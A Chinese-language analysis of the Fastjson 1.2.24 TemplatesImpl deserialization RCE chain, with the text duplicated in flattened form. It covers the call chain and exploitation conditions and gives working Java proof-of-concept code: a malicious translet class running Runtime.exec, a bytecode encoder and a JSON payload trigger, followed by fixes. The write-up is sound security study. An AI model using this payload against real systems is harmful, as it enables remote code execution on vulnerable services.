白话分析 fastjson<=1.2.24 TemplatesImpl调用链 rce
字数 2160 2025-08-07 08:22:07

Fastjson反序列化漏洞分析:TemplatesImpl调用链

1. 漏洞概述

Fastjson <=1.2.24版本存在反序列化漏洞,攻击者可以通过构造特殊的JSON数据,利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实现远程代码执行(RCE)。

2. 漏洞原理

2.1 TemplatesImpl类分析

TemplatesImpl类中存在Java动态编程的实现,具体利用的是Javassist动态编程方式:

  • 传统Java代码编译生成.class字节码文件,JVM在运行时将这些字节码转换成机器码执行
  • Javassist模式允许手工编写字节码并传入JVM中执行
  • TemplatesImpl类的_bytecodes属性存放手工编写的字节码
  • 调用getTransletInstance()方法时会加载这些字节码到JVM中,获取字节码中的类并调用newInstance()创建实例

2.2 Fastjson提供的利用条件

Fastjson恰好提供了两个关键条件:

  1. 可以通过@type指定TemplatesImpl类,并构造_bytecodes属性内容
  2. 在反序列化过程中会触发getOutputProperties()方法,进而调用newTransformer()getTransletInstance()

3. 调用链分析

3.1 调用链流程

完整的调用链如下:

JSON.parseObject()
    -> JavaBeanDeserializer.deserialze()
        -> parseField()
            -> smartMatch() // 处理属性名,去掉下划线
            -> 反射调用getOutputProperties()
                -> newTransformer()
                    -> getTransletInstance()
                        -> defineTransletClasses() // 加载恶意字节码
                        -> newInstance() // 实例化恶意类

3.2 关键方法分析

  1. getTransletInstance()

    • 触发恶意代码执行的核心方法
    • 通过_class[_transletIndex].newInstance()实例化恶意类
    • 要求:
      • 恶意类必须继承AbstractTranslet
      • _name属性不能为空
  2. defineTransletClasses()

    • _bytecodes字节码转换为Class对象
    • 使用TransletClassLoader.defineClass()加载字节码
    • 将生成的Class对象赋值给_class属性
  3. getOutputProperties()

    • Fastjson反序列化时会触发此getter方法
    • 方法返回Properties对象(继承自Hashtable,实现了Map接口)
    • 内部调用newTransformer()

4. 漏洞利用条件

4.1 必须条件

  1. Fastjson版本 <=1.2.24
  2. 反序列化时必须启用Feature.SupportNonPublicField特性(1.2.22版本引入)
  3. 恶意类必须继承AbstractTranslet
  4. JSON中必须包含:
    • @type指定为TemplatesImpl
    • _bytecodes包含恶意类字节码(Base64编码)
    • _name不为空
    • _outputProperties属性

4.2 可选属性

虽然以下属性不是必须的,但可以增加POC的兼容性:

  1. _tfactory:某些JDK版本在defineTransletClasses()中会引用此属性
  2. _transletIndex:默认为0,指定使用哪个Class实例化
  3. _auxClasses:辅助类

5. 漏洞复现

5.1 恶意类构造

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;

public class EvalClassforfastjsonTemplateImpl extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
    public EvalClassforfastjsonTemplateImpl() throws Exception {
        // 反射调用Runtime.getRuntime().exec("calc")
        Class cls = Class.forName("java.lang.Runtime");
        Method method = cls.getMethod("getRuntime", null);
        Object obs = method.invoke(null, null);
        Method method1 = obs.getClass().getMethod("exec", String.class);
        method1.invoke(obs, "calc");
    }
}

5.2 字节码提取

import com.sun.org.apache.bcel.internal.Repository;
import java.util.Base64;

public class EvalClastoBytes {
    public String Starts(Class<EvalClassforfastjsonTemplateImpl> Evalclass) {
        return Base64.getEncoder().encodeToString(Repository.lookupClass(Evalclass).getBytes());
    }
}

5.3 漏洞触发

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson124 {
    public static void main(String[] args) {
        EvalClastoBytes evalClastoBytes = new EvalClastoBytes();
        String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evilCode = evalClastoBytes.Starts(EvalClassforfastjsonTemplateImpl.class);
        
        String payload = "{\"@type\":\"" + NASTY_CLASS + 
                         "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b',\"_outputProperties\":{}}";
        
        JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
    }
}

6. 技术细节

6.1 Fastjson属性处理机制

  1. smartMatch方法

    • 处理属性名时会去掉下划线
    • _outputProperties会被转换为outputProperties
    • 因此实际调用的是getOutputProperties()方法
  2. getter方法调用条件

    • 只有getter方法,没有setter方法
    • 方法名长度大于4
    • 非静态方法
    • 以"get"开头,且第4个字符为大写字母
    • 方法无参数
    • 返回值继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong

6.2 JDK版本差异

不同JDK版本可能存在差异,主要体现在:

  1. _tfactory属性的处理
  2. defineTransletClasses()方法的具体实现
  3. 类加载机制

7. 防御与修复

  1. 官方修复

    • 1.2.25版本开始,默认关闭autoType功能
    • 增加了checkAutoType()安全检查
  2. 防御措施

    • 升级Fastjson到最新版本
    • 不要使用Feature.SupportNonPublicField
    • 使用白名单机制限制反序列化的类

8. 总结

TemplatesImpl调用链是Fastjson早期反序列化漏洞的经典利用方式,虽然实战价值有限(需要开启SupportNonPublicField),但具有重要的学习价值:

  1. 深入理解Fastjson反序列化机制
  2. 掌握Java动态编程和字节码加载原理
  3. 为后续分析CC链等更复杂的利用链打下基础
  4. 培养代码审计和漏洞挖掘的思维方式

此漏洞的核心在于Fastjson反序列化时通过@type指定类后,会反射调用属性的setter/getter方法,从而触发恶意代码执行。

Fastjson反序列化漏洞分析:TemplatesImpl调用链 1. 漏洞概述 Fastjson <=1.2.24版本存在反序列化漏洞,攻击者可以通过构造特殊的JSON数据,利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类实现远程代码执行(RCE)。 2. 漏洞原理 2.1 TemplatesImpl类分析 TemplatesImpl 类中存在Java动态编程的实现,具体利用的是Javassist动态编程方式: 传统Java代码编译生成.class字节码文件,JVM在运行时将这些字节码转换成机器码执行 Javassist模式允许手工编写字节码并传入JVM中执行 TemplatesImpl 类的 _bytecodes 属性存放手工编写的字节码 调用 getTransletInstance() 方法时会加载这些字节码到JVM中,获取字节码中的类并调用 newInstance() 创建实例 2.2 Fastjson提供的利用条件 Fastjson恰好提供了两个关键条件: 可以通过 @type 指定 TemplatesImpl 类,并构造 _bytecodes 属性内容 在反序列化过程中会触发 getOutputProperties() 方法,进而调用 newTransformer() 和 getTransletInstance() 3. 调用链分析 3.1 调用链流程 完整的调用链如下: 3.2 关键方法分析 getTransletInstance() 触发恶意代码执行的核心方法 通过 _class[_transletIndex].newInstance() 实例化恶意类 要求: 恶意类必须继承 AbstractTranslet _name 属性不能为空 defineTransletClasses() 将 _bytecodes 字节码转换为Class对象 使用 TransletClassLoader.defineClass() 加载字节码 将生成的Class对象赋值给 _class 属性 getOutputProperties() Fastjson反序列化时会触发此getter方法 方法返回 Properties 对象(继承自 Hashtable ,实现了 Map 接口) 内部调用 newTransformer() 4. 漏洞利用条件 4.1 必须条件 Fastjson版本 <=1.2.24 反序列化时必须启用 Feature.SupportNonPublicField 特性(1.2.22版本引入) 恶意类必须继承 AbstractTranslet JSON中必须包含: @type 指定为 TemplatesImpl 类 _bytecodes 包含恶意类字节码(Base64编码) _name 不为空 _outputProperties 属性 4.2 可选属性 虽然以下属性不是必须的,但可以增加POC的兼容性: _tfactory :某些JDK版本在 defineTransletClasses() 中会引用此属性 _transletIndex :默认为0,指定使用哪个Class实例化 _auxClasses :辅助类 5. 漏洞复现 5.1 恶意类构造 5.2 字节码提取 5.3 漏洞触发 6. 技术细节 6.1 Fastjson属性处理机制 smartMatch方法 : 处理属性名时会去掉下划线 _outputProperties 会被转换为 outputProperties 因此实际调用的是 getOutputProperties() 方法 getter方法调用条件 : 只有getter方法,没有setter方法 方法名长度大于4 非静态方法 以"get"开头,且第4个字符为大写字母 方法无参数 返回值继承自 Collection 、 Map 、 AtomicBoolean 、 AtomicInteger 或 AtomicLong 6.2 JDK版本差异 不同JDK版本可能存在差异,主要体现在: _tfactory 属性的处理 defineTransletClasses() 方法的具体实现 类加载机制 7. 防御与修复 官方修复 : 1.2.25版本开始,默认关闭 autoType 功能 增加了 checkAutoType() 安全检查 防御措施 : 升级Fastjson到最新版本 不要使用 Feature.SupportNonPublicField 使用白名单机制限制反序列化的类 8. 总结 TemplatesImpl调用链是Fastjson早期反序列化漏洞的经典利用方式,虽然实战价值有限(需要开启 SupportNonPublicField ),但具有重要的学习价值: 深入理解Fastjson反序列化机制 掌握Java动态编程和字节码加载原理 为后续分析CC链等更复杂的利用链打下基础 培养代码审计和漏洞挖掘的思维方式 此漏洞的核心在于Fastjson反序列化时通过 @type 指定类后,会反射调用属性的setter/getter方法,从而触发恶意代码执行。